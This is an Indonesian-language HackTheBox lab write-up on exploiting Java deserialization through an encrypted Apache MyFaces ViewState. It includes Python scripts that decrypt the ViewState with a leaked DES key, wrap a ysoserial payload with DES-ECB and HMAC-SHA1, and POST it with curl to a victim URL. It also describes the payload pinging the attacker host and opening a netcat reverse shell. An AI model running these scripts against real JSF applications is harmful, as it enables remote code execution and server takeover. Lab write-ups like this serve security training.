Pada artikel ini, kami mempertimbangkan kerentanan berdasarkan spoofing objek ViewState Java berseri dan metode operasinya sebagai contoh aplikasi web mesin virtual dengan HackTheBox menggunakan teknologi Apache MyFaces.

JavaServer Faces (JSF) adalah platform pengembangan antarmuka pengguna untuk aplikasi web Java. JSF menggunakan parameter ViewState untuk menyimpan keadaan halaman saat ini (misalnya, elemen halaman mana yang saat ini harus ditampilkan).
(Formulir HTML untuk mengirim data)

ViewState adalah objek Java serial yang secara otomatis disematkan dalam bentuk HTML sebagai bidang tersembunyi dengan nama javax.faces.ViewState. Saat mengirim data dari formulir, kami melihat bahwa parameter kondisi tampilan juga dikirim. Dan karena itu adalah objek berseri, kita mungkin dapat mencoba untuk mengeksekusi perintah sisi-server (RCE) menggunakan objek berseri terisi kita sendiri, yang berisi muatan.
(Bagi mereka yang ingin mempelajari topik ini, saya sarankan membaca materi ini di sini ).
Jadi mari kita mulai. Artikel ini akan membahas kerentanan dan metode yang serupa.
operasinya pada contoh aplikasi web dari mesin virtual yang rentan
dengan
HackTheBox menggunakan teknologi
Apache MyFaces .
Dalam konfigurasi Apache MyFaces, Anda dapat mengaktifkan enkripsi komponen ViewState (dalam contoh kami, enkripsi DES-ECB digunakan), yang akan meningkatkan keamanan aplikasi.
Jika enkripsi dinonaktifkan, maka kita perlu mengirim objek berseri melalui komponen ViewState untuk menjalankan perintah di sisi server. Tetapi bagaimana jika aplikasi web menggunakan enkripsi dan kuncinya dikompromikan? Ini sedikit menyulitkan tugas, mari kita lihat bagaimana berada dalam situasi seperti itu.
Kami berhasil menemukan cadangan dengan file konfigurasi aplikasi web:

Hebat! Sekarang kita tahu SECRET, MAC_ALGORITHM, MAC_SECRET.
Buka dokumentasi resmi.
Di sini dan di
sini .

Setelah mencerna informasi yang diterima, kami akan mencoba mendekripsi ViewState. Untuk ini
menggunakan Decoder BurpSuite kita akan membawanya ke bentuk normal dan menulis skrip Python kecil:

Skrip pythonimport base64 from Crypto.Cipher import DES import urllib def pad(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data key = b'SnNGOTg3Ni0=' key = base64.b64decode(key) cipher = DES.new(key, DES.MODE_ECB) enctext = b'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
Outputnya adalah:

Ini adalah objek berseri yang berisi tanda tangan HmacSHA1 untuk pemeriksaan integritas.
Mari kita mulai membuat VIEWSTATE "diisi".
Untuk membuat muatan serial, kami akan menggunakan alat
ysoserial
(Saya akan mencoba melakukan ping sendiri (ip: 10.10.14.11) dari server)Setelah
ysoserial, muatan kami terlihat seperti ini:

Tetapi hanya mengirimkannya dalam bentuk ini tidak akan berhasil, kita sudah tahu bahwa server menggunakan otentikasi berdasarkan algoritma HmacSHA1, enkripsi DES-ECB, dan sebagai "penutup" terakhir semua ini di base64. Mari
kitaotomatiskan semua ini dengan menulis skrip Python (terima kasih
be_a_saint ).
Script Python lain import base64 from Crypto.Cipher import DES import hmac import hashlib import socket import os import urllib def padding_append(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data def encrypt_viewstate(viewstate, secret): secret = base64.b64decode(secret) des = DES.new(secret, DES.MODE_ECB) viewstate = padding_append(viewstate) viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)] viewstate = "".join(map(des.encrypt, viewstate)) viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest() viewstate = base64.b64encode(viewstate) return viewstate def create_payload(): with open('payload_ping.ser', 'r') as fi: payload_ping = fi.read() payload = encrypt_viewstate(payload_ping, "SnNGOTg3Ni0=") payload = urllib.quote(payload.encode("ascii")) return payload victim_url = "http://127.0.0.1:8081/userSubscribe.faces" post_data = "j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" payload = create_payload() os.system('curl -d \"' + post_data + payload + '\" -H \"Content-Type: application/x-www-form-urlencoded\" -X POST ' + victim_url)
Setelah mengatur pengalihan dalam BurpSuite, kita dapat melihat hasil dari eksekusi skrip - payload kami:

Buka Wireshark, di BurpSuite klik Maju dan tangkap paket ICMP yang masuk,
yang menunjukkan keberhasilan penyelesaian beban sisi server kami.

Contoh kecil lain dari payload dan hasilnya.


Demikian pula, payload berhasil.
Dan jika ada sesuatu yang lebih serius? Ok, mari kita isi server netcat dan dapatkan shell terbalik untuk diri kita sendiri:

Selesai! Menerima shell atas nama layanan web, maka masalahnya adalah enumerasi
dan eskalasi hak istimewa.
Eksploitasi kerentanan ini menjadi mungkin sebagai hasil dari menerima RAHASIA server, maka kesimpulannya menunjukkan bahwa terlepas dari semua tindakan yang diambil untuk melindungi kode / aplikasi, salah satu kriteria keamanan yang paling penting tetap kerahasiaan data aplikasi sensitif (kata sandi, file konfigurasi, cadangan, dll.). d.).
Itu saja, terima kasih sudah menonton!